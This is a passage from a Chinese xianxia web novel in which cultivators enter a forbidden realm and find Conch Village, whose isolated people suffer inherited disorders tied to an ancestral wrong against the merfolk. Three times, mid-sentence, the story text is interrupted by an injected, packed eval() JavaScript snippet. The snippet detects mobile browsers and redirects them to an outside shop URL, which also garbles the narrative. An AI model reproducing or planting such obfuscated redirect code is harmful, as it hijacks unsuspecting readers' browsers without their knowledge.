赶去海边的路上,明易问她是在哪里找到的,石映心道:“在赵宗主的酒柜上的一个酒坛子里泡着。” 明易默了默:“你难道……把所有酒坛子都砸了?” “本来是打算这样的。”石映心实话实说,“不过在那之前我拿出因果牌看了看,发现它能指引方向,所以没砸就找到了。” 明易抿了一晚上的嘴巴这下总算能松口气笑出来了:“映心,做得好。” 石映心听出大师兄这声夸奖格外真心。 事不宜迟,她们到了海边就换上了防水服和鱼泡泡准备入海。 方翔站在边上看着,因为刚刚吼得太大声了,这会声音还有些沙哑,显出很多忧愁:“你们定要小心行事,一切以性命安全为先。就是找不到解毒之法也要记得在三日之内出来……” 话到这犹豫了一下:“要不……我也同你们一起去?” 泉芷朝师兄郑重地摇摇头:“师兄,我不能再拖你下水……而且你留在这,一能帮着应付师父和宗主;二是如果三日后有什么意外,还能叫人来救我们。你放心吧,映心她们这么厉害,一定没事的。” 方翔沉重地点了下头,又朝明易几人道:“几位道友,我师妹就拜托你们多多关照了。” 大家都让他放心。 于是准备下水了,泉芷朝方翔摆摆手道:“师兄,你快回去吧。” 说完便跃入了海里,石映心几人紧随其后。方翔站在原处看着水花消散,叹了口气,转身离开。 通往禁地的阵法在哪?几人先前讨论过。发现了疑点有二:一是合欢宗从未有月圆之夜不能下海的规定,似乎不怕有人误闯禁地;二是禁地不可能离合欢宗太远,毕竟十分危险,需要放在眼皮子底下。 因此她们推测,禁地的入口与时间空间无关,关键应是在宗主令上。 果不其然,她们入海没多久,泉芷手中的宗门令就发起光来,几个脑袋凑在一起,顾梦真凭经验道:“这令牌应是秘境宝器,似乎已经到了能开启禁地的地方,还需要一些条件来启动。” 石映心问:“什么条件?” 顾梦真说:“什么条件都有可能,有些是法术,有些是口诀,有些是……”他忽然盯住泉芷,“血脉。” 泉芷很快明白他的意思,点了点头,划破指尖溢出一点血来,往宗门令上一划—— 霎时间灵光大作,绿光刺得几人睁不开眼,但就算闭着眼睛,也觉得脑壳被光撬了进来,一片茫然的光色之中,什么也无法可想。 石映心感觉脑子里咕噜噜的,好像进了很多水,她晃了晃头,觉得头沉得要从脖子上掉下来;不过很快又感到有人揽住了她腰,带着她往上游去。等到了水面上,从鼻子和嘴巴里吐出了一些水后她才睁开了眼睛,看见泉芷正抱着她往岸边游去。 “泉芷……” 泉芷看向她:“映心,你醒了!” 石映心从她怀里出来,自己游起来:“换月他们呢?” 泉芷:“哦,还在水下昏迷呢。” 石映心掉头:“……我去救她们。” 泉芷拉住她:“你去岸上休息吧,我一个人就够了。” 石映心刚想说自己也去,却听“哗啦”一声,不远处的水面忽然又冒出三个头,是明易拖着师弟师妹上来了。泉芷游过去扶住了曾换月,几人便一同往岸上去。 上岸之后曾换月和顾梦真也醒了,几人狼狈地一边收拾自己一边打量四周,他们目前身处一条河边,斜坡上就是田间小路,上头还有车轮印和脚印,附近不远处可以瞧见大片的农田和成排的茅草屋。很寻常的民间景色。 这里就是禁地?看着一点也不危险啊。 她们正疑惑着,忽然听见有脚步声传来,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15918068|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一看,斜坡那边走来一个抱着木盆的女人,盆中盛满了衣物,她大概是来河边洗衣服的;一开始她似乎没注意到几人,直到走到小路上,和她们面面相觑着之后,居然一动不动地站在那了。 “你们……”还是她先说话了,眼睛瞪得大大的在每个人身上来回,“你们……不是我们村的人?” “额,是啊。”顾梦真试探地说,“我们是从……外边来的。” 女人的眼睛似乎又大了一点:“河的另一边?” 顾梦真:“算是?” 咚。女人手中的木盆猛然落地,但她却无意去捡,一边后退一边喃喃自语道:“河的另一边来人了……河的另一边……河的另一边来人了!” 说到后边她居然对着茅草屋那边大喊大叫起来,表现十分激动,似乎很想跑去叫人来,但又时不时回头看她们一眼,显然又怕她们跑掉。 曾换月觉得有些毛骨悚然,小声道:“她什么意思啊?” 明易朝河面上望去,远处迷烟缭绕,就连他元婴后期的眼睛也瞧不透,看来河的那一边很有古怪:“这里是禁地,几百年来由合欢宗看管着,自然来不了几个新人……可听那位的话,她似乎是觉得是这条河隔断了外边的世界,所以才没人来……” 石映心恍然道:“原来这些村里的人不知道自己在禁地里。” 泉芷眉头紧皱着:“这是正常的吗?” 不知道哇。这情况她们从没遇见过……毕竟以前也没来禁地玩过。 就在她们小声议论的时候,那边已经有一些人被女人喊了过来,瞧见五人时的稀奇表情跟见了奇珍异宝似的,他们小声议论了一会,有个粗壮的男人小心翼翼地问他们:“你们是谁?” 明易道:“我们只是普通的过路人。船行到附近出了意外,落水后醒来时便在这了。请问这里是何处?” 男人回道:“这里是海螺村。” 说着,他试探地走了下来,粗犷的脸上露出一个小心的讨好笑容:“我看你们的打扮,似乎都是富家子弟。我们村子几百年与世隔绝,又破又烂,还请不要嫌弃,去村中坐一坐、喝些粗茶吧?” 这正合她们的意,当然是应下了:“那就劳烦了。” 五人跟着这些人往村子走,适应着他们时不时转过来偷偷打量的视线。那个最先发现她们的洗衣服的女人叫陈二娟,男人叫马三,二人还算健谈,说话时提供了不少信息。 比如陈二娟说:“村里许久没来外人了,上一次还是一百多年前,后来他出不去,就在我们村里死了,现在还埋在后山上呢。” 五人:……不是她说这个什么意思? 马三道:“不只是外人难进来,我们也出不去,我小时候还有一些年轻人想着去河那边看看,都是有去无回,一开始大家以为他们是出去了就不回来了,后来有人侥幸从雾中逃出来,说雾里有不人不鬼的妖怪,会吃人的!在那之后就没人敢去雾里了。” “不过……”他转过头,朝她们憨厚地笑了笑,“像你们这样的外乡人来了总是想走的,你们是走是留我们海螺村都欢迎。走能替我们探路,毕竟村里人已经怕蔫了;留呢……从此以后我们便是一家人,哈哈。” 五人:……不是怎么有点羊入虎口的感觉? 59. 第 59 章 就是虎口也得进去探探口气。 陈二娟说她家还有空屋子,他们不嫌弃的话可以暂时住下,几人说好啊好啊多谢了,于是跟着陈二娟往她家里走。路上经过许多人家,不过多数出去劳作了,只有少数几人在家门口忙活。 比如前面这一家,有个男人似乎在院子里喂鸡喂鸭,蹦蹦跳跳的看着心情很好呢。 顾梦真感慨道:“虽说海螺村隔绝世间已久,但这里的居民还挺安居乐业的。” “是啊,日子总是要过下去的。”陈二娟笑呵呵地回他一声,然后朝那个喂鸡鸭的男人招呼,“欸,方大哥!” 方大哥闻声转过身来,嘴角一扯眼睛一眨眉毛一挑肌肉一抽做了个几人没见过的鬼脸,他抬起手来挥了挥,忽然胳膊肘一折掉了下来,上臂带着小臂不规律地东西南北晃了起来。 石映心等人一时看呆了。泉芷诧异地小声道:“这是什么奇怪的……打招呼方式?” 顾梦真瞪大眼睛:“他在跳舞吗?怎么有些……” 曾换月倒是一眼看出来这方大哥身上铁定有些毛病,和她之前在短视频软件上刷过的残障人士行径很像……这病叫啥来着? 这时候方大哥说话了:“二,二娟,他们谁?” 陈二娟似乎一点不在意方大哥的古怪,很寻常地解释了几人的来历,方大哥闻言面部抽搐地笑了笑,点点点点点点头说:“好,这两天我叫,方四去你那,认识认识。” 陈二娟挥挥手:“欸,叫他来吧。” 二人几句话说完,陈二娟就带着他们继续往村里走。 曾换月和二师兄对视一眼,看出彼此眼中忌讳的好奇,但是问出口又怕戳人家痛处,看陈二娟和他关系这么好,实在是不好意思…… 石映心:“他生了什么病?” 二人:。 陈二娟“嗐”了一声,笑道:“不知道什么病啊,咱们村里也没个大夫……马老说方大哥是手脚太灵活了、要成仙了,所以才控制不住嘞。但好歹是手脚双全的,脑子也正常,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊?”不是你们是这么安慰他的?? 又往前走了几家,陈二娟突然朝前边挥手:“哎!黄家两口子!” 两口子?几人奇怪地左顾右盼,哪里有两口子? 明易在边上提醒:“低头。” 他们便低头看去,瞧见有两个小孩身材、成人面孔的一男一女正蹲在地上晒菜,乍一看像两团球,等他们直起身子,发现才有人的腰那么高。 男人举了举手中的菜:“二娟。” 女人哒哒哒跑过来,稀奇地打量外人:“啊呀二娟,我都听说了,这就是我们村新来的人啊?一个个长得又高又俊的,真招人稀罕!” 她随手拉住了顾梦真,脸上满是笑意:“小公子,你多大啦?” 顾梦真从来没试过把自己的脑袋压得这么低去看人,咽口水都卡顿:“额,二十有余……” 女人高兴地拍拍他的手:“正好正好!” 顾梦真:? 正好什么? “好了好了,不急不急,”陈二娟似乎是看出了顾梦真的窘迫,过来把女人拉开,“我先带他们去安顿好。” 女人笑呵呵的:“唉!好好安顿,选块好地方盖新房!” 顾梦真:?? 离开黄家之后,顾梦真感到一些云里雾里的可怖,刚刚那个大娘看他的眼神似乎有些不对劲啊?而且世上原来竟然有这么矮的人,还不止一个,还是两口子!这也太……天生一对了。怎么会这样呢…… 石映心:“他们为什么这么矮?” 陈二娟“嗐”了一声,笑道:“不知道为什么啊,咱们村里也没个大夫……马老说黄家二口子是土地公转世的后代,所以才这么矮嘞。但好歹是手脚双全的,脑子也正常,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊??”不是你们是这么安慰侏儒症的!?? 接着往下走,又瞧见一户人家门口坐着三个人,一个年轻女人正在给一个老婆婆和壮年男人喂饭。陈二娟继续打招呼:“胡家媳妇,照顾你婆婆和你家男人吃饭那?” 胡家媳妇朝她扯了个很浅的笑,点了点头,目光在外人身上打量了一会就收了回去,瞧着很腼腆,居然一句也没多问,继续给二人喂饭。一碗青菜稀饭舀一勺给左边的男人,再舀一勺给右边的老婆婆。 男人和老婆婆神情是如出一辙的呆滞,饭漏出来也不知道擦。 陈二娟夸了一句“真是个孝顺媳妇”,又带着几人继续走。 到这个时候,五人就是再迟钝也发现了这海螺村的不对劲了。大伙走在陈二娟后头面面相觑着,似乎在找一个合适的问话切入口…… 石映心:“他们是傻子吗?” ……你怎么越问越直白了! 陈二娟“嗐”了一声,笑道:“不知道是不是啊,咱们村里也没个大夫……马老说胡家母子是太聪明了,大智若愚嘛!但好歹是手脚双全的,脑子也……有点正常,知道自己叫什么,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊???”他爹的这个马老到底是什么成分!?黑的也能说成白的,而且怎么还有人信啊? 这会就连明易也忍不住问:“陈大姐,这位马老究竟是谁?” 陈二娟道:“马老是我们海螺村最德高望重的老人家。” 曾换月挑眉:“他德高望重在何处?” “……”陈二娟沉默片刻,哈哈一笑,“不知道啊,自我有记性以来,村里人都这么叫他。” 五人默契地觉得这个马老很有问题。明易客气道:“既然如此,我们也该去拜访他老人家。” 陈二娟说不急不急,她家就在前头,等安顿好了再去吧。她们便先进了陈二娟的家中,不算宽敞的小院里有一个背对着她们坐着的小女孩,扎了两个小揪揪的脑袋摇摇晃晃的很可爱,手中抱着一个娃娃正在和它说话。 看她天真可爱的背影,大伙的脸上都泛起了笑容。 陈二娟亲切地叫了一声:“唯唯!” 唯唯转过头来,可爱的脸上笑意盈盈,一只眼睛笑成月牙儿,另一只眼睛没长。 大伙脸上的笑容都僵住了。 “娘~”唯唯跑过来抱住了陈二娟的腿,一只眼睛好奇地打量着外人,“娘,这些哥哥姐 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几人虽没有心思看屋子,但还是配合地进去听唯唯介绍了一通,这儿是吃饭的桌子,这儿是睡觉的床,这儿是能开的窗……不多久陈二娟就送水来了,招呼几人坐下喝水后,又要和唯唯一起给她们打扫床铺、收拾屋子。 泉芷拦住她:“不用了大娘,我们自己会收拾,住在这已经给您添很多麻烦了。” “不麻烦、不麻烦。”陈二娟笑呵呵道,“我们村多久没来新人了?我高兴得很呢!不止我高兴,我们全村人都高兴!” 唯唯挥着手中的布娃娃:“唯唯也高兴!” “陈大娘,”明易示意边上的空座,“要不您先坐下来,我们有些问题想问问您。” “哦……”陈二娟见她们神色都有些认真,便没拒绝,“好。” 又对女儿说:“唯唯,你先去屋里和小依玩好不好?” 唯唯嘟了嘟嘴,显然有些不愿意,不过还是很乖地点点头:“好。” 等唯唯走了,石映心有些奇怪:“小依也是你的女儿?” 陈二娟笑道:“小依是她手里的娃娃。” “哦。” 这下终于能坐下来好好说话了。先是泉芷迫不及待地问:“大娘,你们村里有没有什么禁书?就是……一些和毒有关的书。” “有毒的书?”陈二娟的眉头皱了皱,摇摇头道,“我们村里连书都没几本,教书的夫子只有一位,孩童开智的书都是你借我我借你的……总共那几本书全村人都知道,从没听过什么禁书。” 泉芷默了默。曾换月紧接着换了个问法:“哎呀,既然是禁书,那肯定是不能让大家知道的……大娘,你觉得你们村里谁最有可能藏禁书呢?” 陈二娟还真的认真地想了想:“最有可能的就是马老了。马老先生年轻的时候就是海螺村里唯一的夫子,他好像懂得比我们这些村民都多好多,有时候寻常的小病也是能给他看的;现在他老了,教书的就是他女儿……对了,方才你们见过的马三便是他的儿子。” 大家默默地记下这个关键人物。 “而且,”一直开朗大方的陈二娟这会居然压低了声音,做出不可告人的模样,大家纷纷仔细去听,“听说马老年轻时还有卜筮问神的本领!” 60. 第 60 章 “真的假的?”顾梦真似很感兴趣地问,“可有什么案例?” 陈二娟拍了拍自己的肚子:“他能看出未出世的孩子有没有病!” 又点了点桌子,更小声地:“还能说出人的下一世投胎成谁家的孩子!” 嚯,这是哪来的阴间本事?难道这马老还翻看过生死簿?可他要是真这么厉害,怎么会被困在这里…… 几人面面相觑着,心里都有些复杂。还是石映心问了:“他这么厉害,为什么村里还有那么多不寻常的人?” 陈二娟把手一摊:“他说了别人也不一定信呀,总得真把孩子生下来才知道说得准不准是不是?至于投胎转世,那就更无从说起了,人一死什么都忘了,哪里还记得前世的我是谁?” 嘶,倒是这么个道理哦。 石映心点点头,又问:“你们村里人都有毛病吗?像你女儿一样?” 除了她大伙都是屏气凝神,多少是考虑陈大娘心情的。但令他们没想到的是,陈二娟很是习以为常地、甚至面上瞧不出任何的伤心难过,笑了声道:“是啊,大家多少都有些毛病,没毛病的在村里才少见嘞。像我女儿就是跟了她爹,天生的只有一只眼睛。” 说着说着又说到别人家去:“有些一出生就没有牙齿,有些长了六根手指头,还有的是哑巴,有的是瞎子,有的脸像鱼一样…方才啊,你们在河边见到的那些村民,都是村里少数的没毛病人了,有毛病的多是在家中干活。不过大家都好好活着,不打紧不打紧。” 不打紧……才怪吧?? 曾换月都听傻了,这不就是一个交叉感染的遗传病村吗?就这么活了几百年下来,这村里人的基因不会早就变异了吧? 思及此,她感到一些头皮发麻,支支吾吾地问:“那个……陈大娘,你们知道……就是,为什么村民们会有这些毛病吗?” “知道呀。”陈二娟还诧异她为啥觉得自己不知道呢,“龙生龙凤生凤,老鼠的儿子会打洞,有什么样的爹娘就会有什么样的孩子嘛。就像黄家两口子生的还是矮姑娘,胡家的傻老太婆生了个傻儿子,现在胡家媳妇怀孕了,不知道生下来傻不傻呢,嗐,多生几个,总能生到正常的。” 曾换月两眼发黑,简直无从解释。 明易也发现了其中的不对劲:“陈大娘,应该也有正常的父母生下来不正常的孩子的情况吧?” 陈二娟点头:“有啊有啊。” 明易:“但这对正常的父母有不正常的爹娘。” 陈二娟思酌:“诶,是哦?” 明易:“那这要怎么算?” 陈二娟迷糊:“不知道啊,但这些情况在我们海螺村都很正常。” 他们海螺村的正常就是不正常,大家现在都深刻明白了。顾梦真试探地问:“那你们村里有没有……额,就是从头到尾都很正常的人家?” “有啊。”陈二娟开朗一笑道,“就是马老马三他们一家,听说是他们家祖先下的铁令,只许和没病的人结亲生子……嗐,谁不想这样啊?不过几百年过去,我们村就这么多人,出得去进不来的,一代生一代下来,没毛病的人是越来越少……” 说到这,她又悄咪咪起来:“现在和马三处对象的那姑娘,她就有六根手指呢!遗传她娘的,他爹有绝症,好几年前就死了……据说他爹的爹也是得了这病死的,就不知这姑娘有没有这病呢。但她已是村中最正常的姑娘了。” 曾换月不解:“但还是有风险的啊,马三为什么还要成亲呢?” 陈二娟大惊:“他不结婚怎么传宗接代啊?大不了多生几个嘛,总能生到正常的娃。” 曾换月:…… 顾梦真瞪眼:“可是不正常的孩子长大之后也要生,这样不是没完没了了?你们村之后只会有越来越多的毛病人!” “本来是这样的,”陈二娟仿佛没感到顾梦真话中的恐惧,还笑了一声,“但这不是……你们来了吗?” 五人:啊? 一下子就明白了她话里的意思呢。 泉芷默了默道:“陈大娘,我们不过几日就会走了。” 陈二娟很乐观:“哎呀,能走的话再说吧,哈哈。不过大娘我还是要劝你们一句,河那边真是危险得很,有去无回呀!好死不如赖活着,来都来了,你们还是安心住下吧。” 石映心有些不解:“可若是没有人以命冒险,再过几百年、几千年,你们还是出不去。” “出不去就出不去吧。”陈二娟脸上的笑不像假的,“人的一生说长不长、说短不短,怎么过不是过?在哪过不是过?我上有老下有小,女儿健康活泼,嫁了个只有一只眼的男人,但他待我很好,我每天都很高兴啊。你要我离开家我还不乐意呢。” 五人也不是不能理解陈二娟的心情,可是这对吗? “这是两回事。”明易冷静道,“离开这里不代表你会和你家人分离;可不离开,不过几十年,你们全村都不会再有正常人。大娘,也许你早已习惯了这一切,难道你也能接受这些病症带来的生离死别吗?” 他说起这个,大娘脸上的笑容总算消失了。石映心原先怀疑她是不是得了爱笑的病,不然怎么说啥都笑嘻嘻的? “嗐,那倒也是。”她叹了口气道,“像我娘,还有我阿姐……都是因生病离世的。我身上暂无大碍,只是不知道唯唯……” “是啊是啊。”曾换月连忙应和道,“有许多病只有外头才能治,你们村里也没大夫……” 陈二娟忽然抬起头来,直勾勾地盯着她们:“你们真要去河的那边?” 她们说是,肯定要去的,马上就要去。 陈二娟于是站起来:“我带你们去找马老,他知道一些河那边的事,不过平时不愿意和我们村里人讲……总之先去问问他吧。” 泉芷:“好,现在就去?” “我去和唯唯说两句话,马上就来。” 她一走,几人都是狠狠地松了一口气,心上沉甸甸的,脑子里又很乱。抬眼看看彼此,似乎有很多话要吐槽,但张嘴就是一声叹气。 “这个禁地究竟是怎么回事?”顾梦真揉揉脑袋,两眼发直,“我觉得我脑子也有些不正常了。” 曾换月也很害怕啊:“不管如何,我么一定要在三日之内离开这里!就算没找到禁书……” 大伙使劲点头,当然是要走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15930348|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。泉芷蹙眉道:“离开禁地的办法估计就在河那边……若是里头真有吃人的妖怪,就凭这些寻常百姓定是没办法的。可如果我们杀了妖怪,这些村民又该何去何从?” 石映心想了想:“带他们回到现实人间中?” 明易微微摇头:“在外面他们便是异类,不一定有在这里活得好。” “是啊是啊。”曾换月往门外瞅了眼,确定没人了才小声说,“一村子的病人,只有他们自己不觉得奇怪!” 石映心看向小师妹:“所以我们只要找到禁书就走,继续放任他们在禁地中不管就好?” 这……虽然有些这样的意思吧,但是话这么说出来就显得很冷漠无情。可情况复杂,时间紧迫,她们是泥菩萨过河自身难保,哪有功夫再替这些村民仔细地考虑呢? 大伙沉默下来。 泉芷小心地问:“映心,你可是觉得我太残忍了?居然弃这些可怜的村民不顾……” 石映心奇怪地看她:“我没有这么觉得。” “我师姐没有这个意思。”曾换月帮师姐代言,“她就是非黑即白的,又不太懂人情世故,说话直白了些。但只是想尽快知道事情如何、接下来要怎么做罢了。” 泉芷微微放松:“那就好……” 石映心点点头。于她而言这些村民怎么样不重要,是走是留和她有什么关系呢?她只是想完成自己的任务,但又要考虑师兄妹和泉芷的意见,如此平衡两方情况后得出一个行动方针,她依此去做变好了。 为什么大家看起来一副心情很复杂的模样呢? “不管如何。”明易站起来道,“先去会会这位马老。” 不过多久陈二娟便回来了,带着几人去马家。这会已是黄昏,村里人渐渐多了,一路走来就见昏暗之中时不时有几个聚集的深色人影凑在一起打量着他们,都是好奇外人的村民。 马家门口不知为何堵了一些人,吵吵嚷嚷的,陈二娟见状“哎呀”一声,一边喊着“怎么了怎么了”一边跑过去凑热闹;几人走近一看,瞧见几个眼熟的面孔:胡家媳妇和黄家两口子。 有个头发大白的老头扯着胡家媳妇的往后一拉,低头指着黄家两口子大声道:“我儿媳妇凭什么要给你们黄家生儿育女?!” 五人:??? 连忙快步走近去听,就见那黄家女人道:“什么凭什么,我们都是一村人、一家人,如今村里适龄的无病姑娘越来越少,你儿子又是个傻的,哪里知道红杏出墙是几个意思?帮我们黄家生个孩子怎么了!” 老头:“你!” “你什么你!”黄家女人咄咄逼人,忽然又指向人群中的一人道,“欸欸,那个小李,他自己也有媳妇,不也是和张家的哑巴姑娘生了个正常孩子?现在一家五口人过得好好的!” 这个时候那个小李说话了:“是啊胡叔,你家儿媳难得正常,就是为了整个村子着想,也该去帮帮黄大姐他们家……” 老头怒气腾腾地朝他一挥拳头,衣袖滑下来露出瘦弱的胳膊:“你闭嘴,不关你的事!” 末了又指黄家男人道:“我就问问你,你乐不乐意让你媳妇去给别人生孩子!” 61. 第 61 章 黄家男人默了默,抬眼幽幽盯着他:“胡叔,你自己有个没病儿媳妇,兴许能生个没病的孙子,自然当宝贝守着,哪里懂我们这些人的苦衷?” 哎呦这话说得,真是说到一堆有病人的心坎上了,人群立刻“就是就是”起来,众说纷纭:“大伙都是一家人,帮人家生个孩子什么了”“生没病的孩子对咱们村也有好处啊”“以前也不是没这样过,胡老头你不要太自私了”…… 胡家媳妇始终垂眉低眼着缩在那,仿佛这事和她无关。 老头被起哄得越来越气,撸起袖子大喊道:“好啊,我看你们是欺我老无力!老子还怕了你们这两个矮冬瓜不成?敢抢我儿媳,看我不打死你们——” 说着就要扑下去摘两个矮冬瓜,边上人群慌张起来,吵吵嚷嚷地要去拦。陈二娟也早就掺和进去了,正在劝和呢:“哎呀算了算了,大家都不容易……” 旁观的五人:OO 也不是他们不想帮忙劝和,只是总觉得她们五个正常人掺和进去有些危险啊! 就在这群人闹得越来越热闹的时候,边上紧闭的大门忽然被打开了,出来一个粗壮的男人,正是马三,他一边拍手一边大喊道:“各位乡亲父老不要吵了,我爹来了!!” 此话一出,人群果然安静下来,纷纷看向门口。 五人也随之望去,就见马三身后走过来两个人,一个是三四十左右的女人,她扶着一个老态龙钟的、手上还拿着拐杖的老头正缓慢地走来。 她们从村民的招呼声中得知,这个老头就是马老,女人则是她的二女儿,叫马二婷。 二人并未走到门口,只在几步远外就停了下来。马老敲了敲拐杖,马二婷就朝门外的一干人道:“我爹已经知晓了你们两家的恩怨,他说不必再吵了,这事过两日便会解决。” 黄家女人问:“马老先生,这要怎么解决啊?” 马二婷道:“你不必多问,等着就是了。” “可这……” 马二婷脸色一肃:“两日都等不起?” 黄家女人力立刻说“等得起等得起”,拉着她丈夫就跑走了。胡家老头似乎还想说点什么,但他的儿媳妇拉了拉他,他便憋着一脸气闭紧了嘴巴。 热闹的戏落幕后,村民们也纷纷离场,走的时候瞥见外人,又凑在一起叽叽喳喳起来:“哎呀差点忘了,我们村里不是又来了几个新的正常人,难道马老的意思是?”“他们说是要走的,要去河的那边送死嘞”“说说而已啦,真去了就吓得屁滚尿流回来哈哈哈”…… 五人就当没听见。 人快散尽后,陈二娟便迎了上去,先和站在门口的马三打了招呼,又朝里头恭敬道:“马老先生,村里来的新人想见您。” 马老微微颔首,顿了顿道:“快让她们进来,我等得许久了。” 曾换月听见了,小声和师姐说:“我们也没来多久啊。” 石映心:“可能是人老了不耐等,毕竟快死了。” 曾换月:师姐,你…… 不管怎么说是进去了,马家比陈二娟家要宽敞亮堂许多,进正厅的时候明易往边上暗间一瞥,仿佛是书房的模样。 落座之后,马二婷客气地给几人倒了茶水,之后便走到马老后边站着。马三带着陈二娟不知道去了哪里。 气氛莫名有些沉默,五人:喝茶。 马老抬起眼打量着他们,人老到这个年龄,眼睛也就一咪咪大了,观察起人来有些费劲:“几位……皆是修仙人士吧?” 五人都顿了顿。石映心问:“你怎么知道?” 马老笑了笑:“我能感到你们身上的灵气……我知道,我苦苦等的就是你们。” 明易自然明白他的意思:“老人家,你想我们做什么?” 马老说:“你们只需做你们要做的事。” 他瞧着很配合,泉芷立刻说:“实不相瞒,我们在找一本禁书,陈大娘说您是村里最德高望重、懂得最多的人……您一定知道吧?” 马老看了她一眼,叹出一口很长的气:“我知道你们想找什么……只不过,那本禁书被带出海螺村之后就不见了。而你们要找的解毒之法……不在书中。” 泉芷迫切地站起来:“那在哪里?” 明易比她冷静许多:“老人家,你好似知道许多事?” 马老喝了口茶水,淡定道:“这是我们马家代代相传的秘密,传世百年,我原以为……这一世我等不到了。好在你们来了。至于解毒之法,确实是在河的那边,不过迷雾中危险重重,是妖是怪无人知晓,毕竟去的人都死了。” 石映心记得:“马三说有人侥幸回来了,看见了会吃人的妖怪。” 马老听闻叹了口气,他身后的马二婷开口道:“这是我弟弟编来骗村里人的,去河那边的是我们大哥,早就死不见尸了。后来为了让村民不再有侥幸之心,爹便令我们编造了这些谎言,好歹是保住村里人的性命。” 竟是如此。 “原来你也不知道河那边有什么。”石映心眉头一皱,“为何方才又说解毒之法在那里?” “不在那里又在哪里呢?”马老摇摇头,双目有些出神,“难道我不想找到它吗?它困住了海螺村……困住了所有村民……” 泉芷不解:“我要找的解毒之法和你们海螺村被困住的事有什么关系?” “有千丝万缕的关系。”马老看向她,苍老的脸上写满了无奈,“你觉得海螺村的人没有中毒吗?” 泉芷蓦然一怔。 曾换月在边上嘟囔:“什么中毒,明明是遗传病……” “总之,”马老拄着拐杖缓慢站起来,“希望你们能在秘境中找到解毒之法,届时海螺村的村民也能得到解脱……他们已经饱受折磨太久、太久了。” 顾梦真忍不住嘴角一抽:“真的吗,我看大家还挺……额,自得其乐?” 马老摇摇头,衰老的笑容很惨淡:“既然我们这些凡人无力改变这一切,就算是自欺欺人的快乐也好过痛苦……只要活着,人就会有希望……看,我如今人之将死,还是等到了你们。” 曾换月心想难怪他和村民说那些乱七八糟的什么土地公转世……真是一个愿骗一村愿信啊。 “好。”泉芷深呼一口气,似乎下定了什么决心,“不过我不会骗你,如果解毒之法是什么奇花异草、只能救一族人……我不会救你们。” “族人……”马老仿佛想到了什么,睁大眼望向她,“你、你是……鲛人?” “是又如何?” 马老的拐杖忽然抖了起来,他飞快地……走不过来,所以只是踉跄地迈了两步就摔倒在地上,马二婷着急地过来要扶他,却被他制止。他从摔倒的姿势变为跪着,对泉芷跪着:“我……我先祖对鲛人族有愧……让我代为请罪……” 众人都被他吓了一跳,只有泉芷抿着唇盯了他一会,转过身不再看他:“我也想到了,你定是和那个贱人有什么关系。不过你和我请罪是没用的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15934298|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是他,我也不是先祖;不过肯定的是……先祖不会原谅你们,我也不会。” 马老的脸上落下两行泪来:“宗主……弟子真的知错了……真的知错了……” 泉芷眉心一跳,转头古怪地看着他。 马二婷连忙扶住她爹,叹了口气道:“爹,你又犯病了……” 明易:“他有什么病?” 马二婷道:“不知道……村里也没个大夫……爹这几年老了,越发神智不清,常常胡言乱语,逮着谁就叫宗主,说自己错了……” 说到这,她抬起头来看着泉芷,面容板正又苦涩:“泉姑娘,我们马家人从小就被教导要记得对鲛人族有愧、遇见鲛人要为先祖请罪的事……爹更是时常对我和弟弟念叨,告诉我们要代代相传……” “实不相瞒,我弟弟不日便要娶一位六指姑娘,这有违先祖之令,可爹害怕没有人记得请罪一事,等不到再见鲛人的一日,才松口让弟弟娶妻……爹怕是得了癔症,心中又记挂着此事,这才犯病……” 泉芷听了,蹙紧的眉头忽地一松,嗤笑一声道:“果然,是先祖把你们关在这里受罚的。” 马老这时又开始磕头:“宗主,弟子知错了!弟子知错了……请宗主原谅……弟子知错了……”到后边呜呜地开始哭泣起来,“弟子真的知错了……” 马二婷心疼她爹,也跟着跪起来泉芷磕了响头,哀声道:“泉姑娘,我知道您不是宗主,但您能不能……代为原谅我爹?他马上就要死了,我不想他夙愿未了、死不瞑目……” 师兄妹四人面面相觑,自觉闭上嘴巴。 “夙愿未了、死不瞑目?”泉芷把嘴角扯开,“呵,我们鲛人族每一人将死之时谁不是夙愿未了?谁不是死不瞑目?如今奇毒未解,我更不可能就这么轻易地原谅你们!” “可这些都是几百年前的事了!”马二婷说到这也哭了出来,“先祖的错为何要我们这些后人承担?我们被关在这里生不如死、逐渐麻木,甚至要与不寻常的村民生活生子、将自己也变得人不像人!泉姑娘……难道这些折磨还不够吗?海螺村全村的痛苦还不够吗?” 马老还在边上:“弟子知错了!弟子知错了……请宗主原谅……弟子知错了……” 